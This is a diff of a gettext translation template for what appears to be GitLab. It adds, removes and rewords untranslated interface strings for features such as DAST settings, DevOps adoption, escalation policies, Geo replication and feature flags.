-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,13 +15793,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
